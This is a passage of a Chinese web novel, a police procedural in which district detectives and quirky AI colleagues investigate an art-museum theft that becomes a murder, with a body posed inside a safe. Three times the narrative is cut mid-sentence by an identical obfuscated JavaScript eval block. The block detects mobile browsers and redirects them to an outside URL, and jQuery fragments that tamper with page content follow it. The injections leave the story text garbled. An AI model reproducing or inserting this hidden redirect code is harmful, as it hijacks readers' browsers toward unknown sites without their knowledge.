【温特莱克副队长,据林博士配合技术部门做出的统计显示,本机及同僚们服役三年来,9号辖区警局破案准确率提升47%,平均耗时减少83%。】触(chu)手“人”立而起,【光上个月,本机就协助刑侦支队高效破获一十六起恶性罪案,其中包含了和您一起出境的十起案件。据本机数据库记载,本机在犯罪现场检测遗留痕迹的效率明显比您数烟头的速度要快。或许您可以申请老花镜一副,用于提前应对您的中年危机。】 警车内陷入死寂的速度比预想中来的要快。马克刚起了个头的口哨被艾登硬生生瞪了回去。李晓燕手足无措又万分尴尬地低头紧盯自己沾了灰的球鞋,随着时间每一秒钟的流逝,头也越来越低,内心万分期待有谁能勇敢地打破这类似火药般的氛围。 好在拯救了她的“英雄”在一分钟后抵达了战场——楼觅在艺术馆大厅里等了他们半天,也不见有谁从门前那辆车上下来,疑惑下干脆过来敲车窗了。 “什么情况?”他困惑地朝终于舍得拉开车门的艾登发问。 艾登看上去被气得不轻,头也没回地大步迈进艺术馆内。 楼觅只好把目光放回到两个年轻警员身上,换来两个僵硬无比的“笑脸”。 “……队长,拜托,快别问了。”马克痛苦地合上眼。 楼觅:“?” 一车人中,只有巴巴托斯一个AI高高兴兴地蹦跶下车,弹跳在楼觅的脸颊右侧给了一个招呼似的贴贴,随后又在空中来了个“形体变换”,一只比李晓燕巴掌还小上一圈的机械章鱼、带着一身水泡特效,快快乐乐飘进了艺术馆。 现代艺术馆是9号辖区内为数不多的公立展馆之一,跟主职捞钱的绝大部分私人性质藏馆不同,时常承办些公益展示和周末亲子活动,与辖区内各艺术类院校也保持着不错的交流。馆长先生也众所周知的为人友善,连本次展馆被盗也只是选择报警而非上门闹腾。总而言之是个除了展馆不大外,足够打五星好评的艺术馆。 这样的艺术馆失窃了哪件展品呢? “《和爸爸妈妈在一起的美好周末》。”提到被盗的展品,老馆长神情有些黯然,“我之所以报警,倒不是因为丢的是什么名师大作,只是上周末亲子活动中孩子们的手绘作品。但也就是因为丢的是这些,我才格外感到愤怒。” 楼觅对此表示理解。在他们身后,李晓燕偷偷拽了拽马克的衣袖:“话说艺术品盗窃案,不都丢的是价值连城的展品吗?” “也有例外的。”马克侧身低头小声解释道,“上回局里就接到了个专偷仿造品的案子。这个圈子里的人本身就怪,艺术品本身的价值定位是由多方因素决定的,除了年代、制作工艺外,唯心主义在他们那里也挺有名,咱们常人眼里的‘价值连城’放在他们那儿可能就是一文不值。搞艺术的人一般都这样,所谓的艺术大盗就更古怪了。完全不能按常理推论。” 确实好怪! 失窃的展品就摆放在一楼左侧展厅内。待李晓燕他们抵达展厅时,只见艾登和巴巴托斯早就先人一步开始了搜查工作。 飘浮在空中的八爪章鱼将触须朝四周伸展,八条不同的蓝光以AI机体为中心,将整间展厅来了个全方位的扫描。通过巴巴托斯的电子眼,一副由蓝色光粒子构成的展厅3D构图一点点浮现在了众人面前。李晓燕对比了下巴巴托斯重建的展厅构图和眼下实际展厅间的差别,几乎一眼就看到了中央区域的不同。不仅是因为巴巴托斯所重建的构图中,被盗走的孩童画作依旧存在,更重要的是位于中央展台下方的地板上,一滩色彩斑驳的怪异痕迹。 【该区域检测到残余生物痕迹,坐标(23.17),建议开启全频段扫描模式。】 AI的合成机械音从展厅天花板上的播放器中传来。还没等楼觅下达扫描指令,一个证物袋赫然挡在了半空,把一条蓝光折了一半。 “我说过——”年纪还不到40岁的艾登副队长用力咬着后槽牙,“人类优先!” 楼觅不太自然地摸了摸自己的鼻尖,隔空对头顶上方的AI做了个耸肩的姿势。巴巴托斯这回没有顶嘴,而是收起自己的探测用触须和光粒子构图,模仿真实章鱼在海里遨游的姿态在展厅上空动作优美的来回滑动着。 李晓燕:“……所以这算是光明正大的摸鱼吗?” 马克:“算。” 事已至此,人类开始了人手一只证物袋、趴地找寻线索的探案之路。 既然先前巴巴托斯所还原的现场中出现了明显的可疑痕迹,那么自己还是前去检测下比较妥当。横竖作为新人,她懂得不可能比从业三年的AI更多了。于是李晓燕果断蹲在了中央展台旁,用带了手套的指尖轻轻抚过展台下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124346|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方的地面。果然,被清拭过的痕迹十分的明显。联想到那摊色彩斑驳的怪异痕迹,李晓燕干脆将整个身子都爬倒在地,用镊子沿展台与地面的接缝处轻轻一刮,取出指甲缝大小的粉色固体。 “这是什么?” 马克闻声凑上前,嗅了嗅那块固体的气味。“……好像是,颜料?”他不太确定地又抽动了一下鼻翼,“不对,是油漆。” “能确定吗?” “闻起来感觉像。我家餐厅装修那会我去帮过忙,刷了一天的油漆。” 这一小块疑似干涸油漆被小心翼翼装进证物袋。那头,拿紫外线灯扫视整间展厅地面的艾登也有了收获。 “楼,你看。”艾登指向在蓝紫光中浮现出的一排脚印,它们无不例外在靠近边缘的地方散发出零星的白色光斑。 楼觅半蹲下身,用手指捻起这些粉末状的细小颗粒,轻轻揉搓着。艾登凑近颗粒闻了闻:“没什么味道。得送去法证科室研究。” 那样就有些耗费时间了,楼觅把粉末状颗粒装进证物袋,连同李晓燕他们搜集到的疑似油漆状固体一同朝头等上方举了举。 “巴巴托斯,人类已经行动,该轮到你干活了。” 从李晓燕的角度,她看不到艾登是否有在皱眉表示不满,但他至少没提出反对意见。而飘浮在头顶上空的机械章鱼则收拢了触须晃晃悠悠凑了上来,下一秒,两道蓝光从章鱼的眼部射出,自上而下分别扫视过几个证物袋。 【经数据检测对比,1号袋中物体为油漆固块,干涸时间距离现在刚满12小时。】 【2号袋中检测到干冰残留物。】 干冰?油漆?李晓燕的脑海中思绪错乱无章,楼觅倒是想到了什么,转头询问起身后的老馆长来:“这些天馆内在做维护保养?” 老馆长闻言摇了摇头。“我们馆的保养维护工作一般一季度一次,每次都固定在当月的4-6号。”而现在已经临近月底。 楼觅再度发问:“那请问馆内有类似冷库的地方吗?” 冷库?李晓燕眨巴着眼,废了老半天才意会到了队长话中的含义。 干冰一般用于制冷,作为艺术馆有那么几件藏品画作需要低温存储是再正常不过的事了。案发现场发现的脚印中携带干冰残留,所以,楼队是在暗示犯人可能是内部负责藏品维护的工作人员? 老馆长一时半会没想通楼觅的暗示,而对于提到的类似冷库:“是在说低温库房吗?有的,在地下一楼。” 【自动扫描生成艺术馆平面图中……】巴巴托斯再度祭出了独家蓝光建模。一行人随即根据平面图上标注的楼梯位置,在老馆长的带领下下至负一楼,抵达了低温库房的铁门前。 巴巴托斯的反应十分迅速。 【检测到疑似生物痕迹,开启全频段扫描模式。】 这回没有人上前阻止AI自作主张的行为。有眼人都能看到低温库房门前地面上洒落的深色血迹。 李晓燕感到自己的后勃颈在不停冒着冷气。 楼觅的嗓音冷酷得如同盛夏的坚冰。 “让鉴证组立马派人过来。巴巴托斯,联络南丁格尔在局里待命。” “现在,开门。” 5. 9号辖区警局 短短出个现场的功夫,艺术品连环失窃案秒变为凶杀案的进展是没有人或者AI能事先预料到的。 待老馆长双手抖动着用钥匙打开低温库房的大门,库房内的灯光感应系统自动开启,率先引入眼帘的便是一条直达库房深处的血路。 是被拖拽的痕迹。楼觅无声咒骂了一句。 一行人沿着血路到达了一台足有一人高、3米宽的大型保险柜前。李晓燕感到自个的胃部正在不停蠕动着。从柜底涌出的深红血迹早已凝固,并深深渗透了三大块地砖。都无需巴巴托斯进行检测,明眼人都能判断出某位不知名被害者多半断绝了生还可能性。 楼觅回头看向被眼前景象几乎吓傻了的老馆长:“保险柜是老式的,需要6位数的密码开启。能告诉我们密码吗?” “当、当然!” 老馆长结结巴巴说出了一串数字。紧接着便见楼觅朝头顶上方打了个响指,机械小章鱼一扭一晃飞到了保险柜前,全程都没有接触地面上的血迹分毫。 “记得先做指纹检测,铁皮盒子。”身后传来艾登不满的嘟囔。 巴巴托斯难得听话地用蓝光扫射过整个保险柜。【检测到多处生物痕迹,初步判断为同一人类男性指纹,但不完全,被疑似覆盖。现已收集。】同时,它还贴心地收集了一小部分地面血液,用触手分别夹住吸管和镊子(天知道它从哪里变出的工具),并把收集到的样品放入了马克手中的证物袋里。 【样本数据同步提取完毕,请问是否需要直接转交至法证室检测?】 “需要。”楼觅回话道,“现在给你开启授权许可,直接联系在警局待命的南丁格尔吧。分析结果之后再说,先把柜门打开。” 【明白。】机械章鱼用触须行了个礼,随即操控着八条触须逐一输入数字密码后,又麻利地拉动密码栏下方的转盘朝左一拧,“嗡”的一声闷响,保险柜的门终于被缓缓开启。 十分钟后在艺术馆一楼的洗手间内,李晓燕抱着智能马桶干呕不止。门外则是传来马克的闷声呼唤:“你大概还要在里面待多久?小心别折腾到脱水。” “马上……呕——”李晓燕刚试着抬起头,胃袋又是一阵酸水涌出,她赶忙把头又埋进了马桶里。“为、为什么你就没事?” “大概是因为我家是开餐厅的,而在我干警员前处理过不少活鸡鸭鱼鹅?”李晓燕不用看几乎都能想象得出马克那一副白眼翻上天的神情。“行了大小姐,毛巾给你挂门把手上了,吐完就赶紧下楼。我们还有一堆事要忙活呢。” 搭档的脚步声渐行渐远。洗手间里,好不容易恢复过来的李晓燕喘着粗气用清水漱了漱口,为强打起精神,她还用冷水洗了把脸,再三确认不会被脑海里浮现出的冻尸和那股子异味折磨得再扒马桶,这才蹚着一地水走出了洗手间。 洗手间门把手的外侧挂着马克不知道从哪里找来的白色毛巾。李晓燕拎毛巾胡乱擦了把脸,呸,一股子霉味!但恶心劲好歹是压下去了。晃晃脑袋,李晓燕迈着沉重的步伐朝地下一楼行进。 低温库房内,楼觅正指挥着内部的搜查工作。根据南丁格尔通过巴巴托斯传递来的对尸体的初步判断看,被冻僵在保险柜里的死者为男性,身高约175cm,体重暂且不祥,死亡时间大约在凌晨两到三点间。至于死因则需等到进一步尸检后方可判断。而至于男性冻尸的身份—— “我没见过他。”老馆长因遭受的刺激过大,被人搀扶到了二楼办公区域休息,目前负责配合警方查案的,是艺术馆的副馆长、兼任外联顾问。“馆内的员工基本都是老人,外貌我都记得,他绝对不是我们馆里的员工。” “那会不会是艺术品收藏家,或是从事这方面事务的人员?”楼觅接着询问道。 副馆长迟疑了一下,几秒后摇了摇头:“辖区内的圈里人也就那么几个,甭管有名没名,多多少少都混了个眼熟。这人我没印象,要么可能是来自其他辖区,要么就是跟圈子毫无关系的普通人。” 这范围可大了去了。楼觅有些苦恼地想,但他面上不显,只是点点头表示理解副馆长所说的情况。他侧头望向男性冻尸被拉走的背影。眼下,尸体的身份成迷,是否与现代艺术馆有关、又是否和他们侦查的艺术品连环失窃案存在关联,被盗走的藏品身在何处,杀人凶犯又是谁,这都需要时间去一一验证。 时间……他不由得联想到了多半还处于围攻警局状态中的那一票人。现在唯一的好消息,估计就是他有充足的借口和理由让这群烦人的苍蝇滚蛋了。 但只要失窃案一天不破,烦人的苍蝇就会卷土重来。至于警方在办案过程中顺带发现的尸体,那关他们什么事?尸体又不能制成艺术品卖钱—— 尸体。艺术品。 楼觅的思考在一瞬间停顿了下。 “巴巴托斯。”他带着些许疑惑的口吻喊了声正在因为擅自给冻尸的手指高温解冻,好与保险柜上提取的指纹作对比,结果又一次被艾登骂了个狗血淋头、此刻生闷气中的某侦查型AI——话说有事没事给AI加入感情模拟是个什么事,又不能让它们多理解人类情感分毫。“调动你的数据库,找找有没有哪样艺术品、主要是绘画和雕塑,的造型和保险柜里的男尸一致的?” 机械章鱼的两颗眼球中蓝色的数据波纹不断浮现:【正在进行数据对比,请稍后……结果已出,经对比数据库中涵盖的137425件绘画及雕塑,现代油画《飞跃》中的人物造型和男性尸体高度一致。请看——】 在蓝光投影折射出的画面中,油画上的男性角色双腿并拢,脚尖绷直向上,上半身以双臂怀抱大腿根部的动作无限贴近下肢,以至于整个人形成一个大写的“V”字型。而保险柜中的冻尸,是以同样的动作被人为塞进了柜子,毕竟除了专业的跳水运动员,楼觅就没见过那个奇人能做出相似度90%的举动,可能马戏团和体操运动员除外,但即便是他们也不可能在藏身于保险柜时摆出这种姿势——因为身体会很不适应,这并非置身保险柜的舒适姿势,整个身躯蜷缩于柜子右半侧而空出左半侧,皮鞋的尖端部分甚至因死死擦过柜子顶部而被磨破了皮。 百分之百的人为姿势。 “难怪我总觉得被害人的死亡姿态很不对劲呢。”楼觅用手抹了把脸,“所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124347|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以即便死者可能跟艺术馆艺术圈毫无关联,但凶犯绝对就是其中的一员。至少他绝对看过《飞跃》这幅画——等一下,这分明是跳水运动员的入水动作,为什么画的名称会叫做《飞跃》?” 巴巴托斯晃动着自己的触须:【根据作者本人的解释,迎着一方旭日,跳水者即将跃入水中的姿态,仿佛就在飞跃即将燃烧殆尽的黄昏。】。 楼觅:“……” 先不提把旭日和黄昏混为一体的画作者文学水平是否达标,光是所谓的“跳水者即将跃入水中的姿态”,明明是双手伸直压臂、双腿伸直并拢、头朝下落水才对吧,画中的人物姿态分明还处于“跳跃中”状态,哪里来的入水,又是哪里来的“飞跃”! 楼觅:“……我能有幸请教下这位作者的大名吗?”以便于迅速锁定日后远离他的一切画作! 应该不是处于错觉方面的原因,楼觅总觉得巴巴托斯的触须晃动得更欢快了。 【已检索到作者:普朗吉·路易,日耳曼籍,诞辰于新历279年夏。】 楼觅:“……” 新历279年,那不就是47年前?合着人还没死吗?! 【附加信息,该作者属于末流绘画艺术家,因画笔稚嫩、画风不显,且画作人物比例时有失调而饱受诟病,目前穷困潦倒中。】透过播放器,AI的机械音怎么听怎么仿佛充满了获得八卦后的兴奋和激动,就连语速也快了不少。 【但此人仍然坚持绘画艺术十年如一日不动摇,虽屡战屡败但仍能屡败屡战,并坚持认为是其他人不懂艺术方才造就了自己如今的局面。是个在艺术圈内人尽皆知的“喷子”。请问是否需要我调出该名作者的肖像及生平简历?】 印象中,楼觅自己曾不止一次地和林岚提过关于警局内AI们的性格设定问题。如果说南丁格尔的冷幽默和荷鲁斯的冷漠都属于理解范围内,那么给苍穹设定的活泼好动兼滥好人性格,和巴巴托斯的热爱八卦,就是完全无法理解的范畴——除了占据AI们的内存容量和让警员们被烦个半死外有何益处吗?完全没有! 但林岚表示这些附加设定并非她的手笔。“可能是在三年和你们的相处中自发学习到的行为模式。毕竟我可没有这么闲。” 无意中9号辖区警局全体警员风评被害。楼觅被迫放弃了对AI性格方面的纠结,就像他压根不想理会AI们更为复杂的电子甜品狂热症一样。改又改不了,戒也戒不掉,顺从就好。它都AI了,吃个电子甜品又能怎么滴。 于是对于当下巴巴托斯燃起的八卦欲,楼觅也只是习以为常的选择了顺从。“嗯,调吧。”因为他明白哪怕自己给于否决,对方也会依然决定满足自己的“好奇心”。横竖都是个看,同不同意压根没有任何意义! 于是在下一秒,当一张和男性冻尸不能说是一模一样,但几乎算得上有八成像的脸出现在投影屏上时,楼觅本人是措不及防的。后进入库房的李晓燕也是一样。在看到一张和送往法证科室解剖的尸体面部特征几近相同的鲜活面孔,赫然在眼前被放大,从业经历刚满三个月的新人女警发出了这辈子都没有过的高分贝尖叫。 6. 9号辖区警局 “往好的方面想。至少楼队只是让你提前下班回家休息,而不是直接在现场让你明个别来了。” 马克一边驾驶着磁悬浮警车送自个搭档回警局的路上,一边试图宽慰道。 “你看,他连骂都只骂了巴巴托斯一AI,说明完全没把被你一嗓子吓飞证物袋的事放在心上。” “……谢谢,劳驾请闭嘴不要再说了。” 马克扭头瞅了瘫倒在副驾上的李晓燕一眼,心虚地回头吹起了口哨。拜托,要他会安慰人,那在艺术馆那会就不会出现只挂块从犄角旮旯翻出的毛巾在洗手间门把手上的事了。毕竟全家就属他年纪最小,从来只有别人安慰他、哄他开心,可从来没有他哄别人的事。 身为刑侦支队的正副队长,楼觅和艾登连同一溜鉴证人员还在现代艺术馆忙活,而作为队内新人的李晓燕和马克则肩负送证物及男性冻尸回警局的“重任”,一同上路的还有连挨两场训后、机体蜷缩在后排车座上陷入自闭状态的巴巴托斯。 回想起成功把AI轰回警局而格外扬眉吐气的艾登副队长,马克在心中咋舌,期盼着苍穹手上还有多余的甜品能够用来弥补巴巴托斯那颗受伤的“心”。 作为全警局最热心的仔,苍穹的本体在接收到返程信号后,早早就在警局门厅前等待人类同僚们的回归。然后它“看到”一辆拖着大号木箱的防弹车缓缓驶来。车停在了警局大门口,从车后座飘下来一只毫无活力的小型机械章鱼;紧接着是从副驾驶座上,颤巍巍蠕动出一名失去灵魂的人类女性;最后才是驾驶室,唯一还算正常的男性警员远远抬手和它打了个招呼: “苍穹,麻烦来上三份芭菲,其中一份要是电子的。” 【(·ω·)?】 俗话说得好,甜品能够治愈人心。AI心同理。用数字勺子挖下一大块最顶上的冰淇淋(电子版)并送入“口中”后,浸泡在冷却液水箱内,被迫和分机感同身受的巴巴托斯主机的一双章鱼眼珠瞬间恢复了神采。只见它用触须挥舞着芭菲杯重新打开了数字光屏,空闲的六条触须以肉眼不可见的速度快速敲击着虚拟键盘,《9号辖区警局45版八卦(绝密)plus》震撼上线。马克一点都不想知道里面究竟包含了多少艾登副队的负面小道消息。 反观埋头趴桌的李晓燕,则是在一勺冰淇淋落肚后被冻了个寒颤,被迫精神了起来。 “话说咱们人类的甜品费用由谁买单?” “我们自己的薪水。你这份是我出钱买的,记得一会手机上返我。” 此刻两人两AI正位于警局三楼的法证科室办公大厅,见小伙伴恢复了精神的苍穹主机又重新回到了充电桩上,【(-ω-)zzZ】“睡”得香甜。而从现代艺术馆搜集到的证物线索都已移交给了相关技术人员。至于那具名为普朗吉·路易的男性冻尸则被紧急送入解剖室,一场由医学型AI南丁格尔操刀的尸检正在进行着,就在斜对角走廊尽头的那间屋。 此时夕阳早已落下,暮色即将布满天空。加班是肯定了的,即便李晓燕拿到了楼觅亲口御言的“下班”指令,她也不愿意一无所获地就这么回去。全支队都在加班,我也得努力!她这么想着,一边再次舀了一大勺冰淇淋。 “嘶!好冰!” 但也足够令人清醒。 李晓燕三五口收拾掉草莓芭菲杯,起身时牙齿还在打着哆嗦。“咱们走吧。”她对着搭档豪迈地一挥手。 马克的芭菲才刚干掉三分之一,他握着塑料小勺不解地抬头:“去哪?” “解剖室。AI亲自操刀、现场教学、门票免费,不看白不看!” ……那个第一眼看见尸体就呕吐的人哪去了?这升级升得也未免太快了吧!还没等马克吐槽上一句,他就被李晓燕拽住胳膊强行往解剖室的方向拖行。不得不说,这社招来的姑娘恢复力真强,力气也大。 “等等、停,停!凳子都要拽飞啦!” 医学型AI南丁格尔,从外形上看就是一个大型半透明半封闭式医疗舱。只不过通常情况下,有幸躺进舱内接受从内而外细致检查的,往往只有各种尸体,活人一般更喜欢在病床上接受来自医学AI的亲切慰问,不带解剖刀的那种。 男性冻尸早已平躺进南丁格尔的机体内多时,透过上半截的窥视窗口,可以清楚看到医疗舱内部蒸腾着的气体,还不时划过红色的耀眼光芒。 “微波解冻,比巴巴托斯的高温烘烤高明不知道几倍的解冻方法。”马克咬着塑料小勺,低声对满脸写着“好奇”二字的搭档解释道。作为非专业法医或鉴证人员,他俩只被允许待在靠近解剖室房门的“隔离区”,透过隔断玻璃窗眺望室内发生的一切。 林岚博士倒是被允许进入解剖室内,以监督者和AI临时助手的身份记录下南丁格尔对男尸的解剖结果。倒也不是说她具备专业的法医学知识,而是当下警力实在不足,法证科室的每一间实验室都堆满了待检测样本,只得让她这位人工智能学博士上阵,比起基本是门外汉的见习警员们,好歹更懂些科学知识。 李晓燕踮起脚尖,上半身紧贴玻璃隔断,试图听清从里侧传来的每一句对话。对她这种拼命劲,一旁的搭档几乎白眼翻上天去。他将吃空的芭菲杯随手丢进垃圾桶,随后一把把人从玻璃上拽了下来。 “有扬声器。”马克指向李晓燕头顶上方的蜂窝状孔洞,“根据《AI行为规范》,负责主刀的南丁格尔有必要句句陈述解剖结果,而林博士身上也佩戴有微型麦克风。” 他瞥了眼李晓燕一脸恍然大悟的神情,幽幽叹了口气:“你这家伙,当初入职培训课上是完全睡过去的吗?这些都是最基本的警员须知条款吧。” 李晓燕闻言,眼神顿时一阵飘移,毕竟当初在课上负责培训的楼队讲述了一大叠的需知必知条款,几乎恨不得将四年份的警校生专业知识揉吧揉吧统统塞进她们这群社招生的脑子里。结果可想而知。只是忘掉其中的一二三四条的话,应该、可能算不上什么大事? “……这都不是重点!啊,嘘,开始说话了。” 【尸体为男性,年龄初步估算在——】 “不要汇报这些显而易见的事情。”医疗舱旁,林岚面无表情地打断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124348|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了南丁格尔的话,“除非会对案件走向产生影响,否则就给我直接跳到死因上。” 【明白。】南丁格尔的机械音比起其他三名AI同僚更偏向女性化,显得亲切又悦耳。【经检测,尸体体表布满冰晶残留,推断死者生前可能是个“冷血”之人。】 “南丁格尔!” 【很抱歉,但我认为适度的幽默有助于放松身心——】 隔着厚重的玻璃,李晓燕能感受到林岚的心情,简直就和自己在“甜蜜心情”排队给苍穹买甜品时一样无奈。以至于对方不得不开启对AI威胁模式:“说正经的,好姑娘。不要逼我在维修日那天删除你资料库里的冷笑话大全。” 肉眼可见的,医疗舱周身闪过一圈白光,从舱身两侧同步伸出四条机械臂,每条机械臂上都夹有李晓燕说不上来的某种工具。随后舱门向上开启,冒出一阵白雾,也没等水雾散去便见四条机械臂精确划一地朝舱内的尸身刺去。 隔离区内,李晓燕和马克不由得身体向后一仰,齐齐闭眼并发出牙酸的声响。 事实证明,恢复理性状态的AI还是一如既往地可靠能干。 【经检测,尸体皮肤表面有轻度冻伤痕迹,符合长时间处于低温环境的特征。尸体体内血液留存量不足70%,眼部结膜和口腔黏膜呈灰白色,符合大量失血症状。】 林岚的眉头一皱:“可以确定死因是失血性休克吗?” 【否。死者生前的确处于大量失血导致的休克状态,但并不足以致命。】南丁格尔举起解剖刀,刀刃上附着着少许尚未融化的冰晶和粘稠尸液,万幸,见习警员们在隔离区范围内看不清这些玩意。【同理,尸体胸腔内部器官完整,肺部未出现水肿现象,心脏表面不曾检测到冰晶残留。】 林岚的眉头皱得更深了。虽然她不是警察,但好歹作为AI们的管理者和一帮警员们朝夕共处了三年整,基本的断案能力还是有的。 “所以也基本可以排除由于体温降低而导致死亡的可能性了。”林岚用触屏笔轻轻敲打自己的额头,“南丁格尔,继续检测尸体可能出现的外伤痕迹,同步进行血检和毒理检测。楼队他们不是在现场和巴巴托斯一同取到了不少样本吗?等鉴证组那边的结果出来就进行进一步核对。还有关于指纹……” 今晚9号辖区的夜仿佛格外的漫长,整个警局灯火通明。但李晓燕清楚,这只是她亲身经历属于警局的一个平凡之夜而已。即便没有白日里的那栋凶案,警局的夜晚依旧被诈骗、纠纷、抢劫、暴力等诸多事务缠绕,哪怕他们多了几名AI同僚协助,办案效率提高五成也无济于事。 要是什么时候天下太平就好了。抱着如此淳朴的愿景,李晓燕在法证科室的长椅上陷入了熟睡。 次日清晨三时许,将她从噩梦中唤醒的,是来自南丁格尔的最终尸检报告、现场指纹的对比结果、来来往往的脚步声,其中还夹杂着疑似马克在一旁的咋呼声:“天啊李,原来咱们局的咖啡机是会打出心形奶泡的吗?!” “……” 如果可以,李晓燕很想给他一个爆栗。 7. 9号辖区警局 爆栗是没给到,但心形奶泡咖啡是喝到了。嗯,从马克手里抢过来的。哪怕后头听见对方悲怆着呐喊:“就这么一杯!下一杯又是糊糊状的!”只睡了三个钟头的李晓燕也没有感到丝毫的内疚。 他该! 正闹着,便见楼觅带队风尘仆仆地扑进办公大厅。一行人眼眶各个布满红血丝,活像饿了七八顿的吸血鬼。为两个不同案子连熬三晚的楼支队长、几乎是在一眼瞅见林岚甩给他的一打报告后就猛扑上前,连内勤警员送来的夜宵都顾不上取。 “全体都有,转会议室!”他大手一挥,自个率先急匆匆地往走廊那端冲去。艾登伸手拦没拦住。 “嗨,楼!那边是法证科室的——算了。新人们,赶紧跟上!” 在正副队长接二连三的招呼下,李晓燕和马克匆匆放下喝到一半的咖啡,头发凌乱地跟着副队长的脚步朝前直奔走廊尽头。在他俩身后,林岚原地迟疑了一会,最终还是下定决心抱紧了自己的记录用平板,朝着会议室的方向迈开了腿。 “巴巴托斯。”临行前她对着办公大厅水箱里的AI敲了敲平板盖,后者“心凝神会”般闪过一道蓝光,分出自己的部分意识数据转移到了平板内,跟着林岚一同离去。 “根据尸检结果显示,死者确认为普朗吉·路易,现年47岁。死因是遭遇电击后引发的心脏衰竭。在这附近。” 待林岚无声推开会议室门,里头的警员们早就迫不及待开启了案情探讨模式。楼觅用手指向自己的侧颈来展示被害者遭受电击的范围,在他身后,伴随着电脑的启动声,一块大屏投影正被紧急从天花板降落,见状,林岚拍拍手里的平板,又是一道蓝光过后,男性冻尸的对应尸检照片被投放在了大屏幕上,尸体侧颈处的微小电击痕迹还被贴心地用红笔圈了起来。 楼觅朝她用口型比了个“多谢”二字,随即又果断收回目光,把注意力放在案情讲解上。 “从电击创口上看,本应无法直接致命的电击之所以会导致心脏衰竭,是因为死者身前曾置身低温库房,低温引起心率减慢和血压下降增加了心脏负担;再加上从尸体体表伤痕检验结果看,死者的腹部的两处刀伤导致的失血、在减少有效循环血量的同时也进一步影响了被害者的心脏功能。所以,结果就是我们所见到的那样。”楼觅拍拍身后的投影屏。 艾登听闻,在会议桌旁插话道:“能确定电击是发生在刀具刺伤之后?” “确定。数据来源于南丁格尔对两处伤痕状态的对比,和联邦医学机构的数据库。”楼觅侧身朝林岚所在的方位点了点头。艾登的眉头紧皱,但他还是认可了这份来自权威数据的判断,这让从进屋后就一直偷偷观察众人状态的李晓燕舒了口气。 “请问我是否能知道死者身前为何身处低温库房?”坐在李晓燕对面的马克举手提出疑问,“毕竟从现场的情况看,被害者在保险柜中的造型多半是凶手的杰作。也就是说,在被塞进保险柜前,被害者生还的几率并不大。从刚才的尸检结果看,他应该已经电击身亡了。” “好问题。这就要结合我们和巴巴托斯在现场提取到的生物痕迹来看了。”楼觅朝马克比了个大拇指,又转头看向林岚。“麻烦林博士……” 林岚用两根手指在放在会议桌上的平板盖上敲了敲,拒绝露脸但依旧能干的巴巴托斯用更换投影照片的方式做出了回应。 “多谢。那么首先是从保险柜上提取到的指纹。” 楼觅抄起放在一旁白板槽内的激光笔,手动给保险柜的密码输入框一个特写。“根据鉴证人员的对比,外加南丁格尔的事后核对,目前可以确认属于被害者本人。” 也就是说,被害者普朗吉先生极有可能是自己打开保险柜的柜门然后藏身于此的。 “但被害者在保险柜里的姿势——”李晓燕忍不住发出了质疑。 “是凶手后来摆的。”楼觅又用激光笔在照片上的指纹处画了个圈,“看到这些被掩盖的位置没?经检测对比,属于橡胶手套的印迹。所以我们可以大胆推测,普朗吉·路易大概率进了两趟保险柜。一次是他自己开柜门进的,而另一次,则是凶手拖着他的尸体把他硬塞进的柜子。” “所以这就很好解释了从展厅到地下低温库房的拖拽血痕。”艾登有节奏地用指尖敲击着桌面,“不过是否考虑犯人握住死者的手部开柜门的可能性呢?” 啊确实。李晓燕抬头看向天花板,她完全可以想象得出案发当时的场景。凶手一路拽着被害者的尸体直达低温库房,然后他握住被害者的手掌,按住指尖依次输入密码,又转动轮盘打开柜门。虽然过程比较繁琐,但完全说得通。至于指纹上的橡胶手套痕迹,可能是事后不甚沾染上的。 楼觅朝艾登一挑眉:“说的有道理。但加上我们在失窃展厅发现的那行鞋印,这种可能性就基本被推翻了。” “你是说,鞋印是属于被害者的?” “没错。从鞋码大小到鞋底的花纹,都与死者在案发当晚脚底的球鞋相吻合。同时我们在鞋印上提取到的冰晶,也侧面证实了被害者在生前置身于保险柜中的事实。” “但他这么做的理由是什么?”艾登的眉头紧皱,“还有他是怎么进入的低温库房,从哪里得到的保险柜密码?根据正副馆长的口供,他们都不一定听说过‘普朗吉·路易’这个人名,更别提认识他人。” “这就是我们之后需要重点侦查的方向了。”楼觅把激光笔随手扔进一旁的白板槽里,“但我们大概能从现有证据中推测出死者身处现代艺术馆的理由。” 理由?李晓燕的好奇心瞬间被吊起,她偷偷看向四周,发现同样好奇的还有马克等一干普通警员们。 “林博士,能麻烦巴巴托斯调取下在失窃展厅——哦,谢了。” 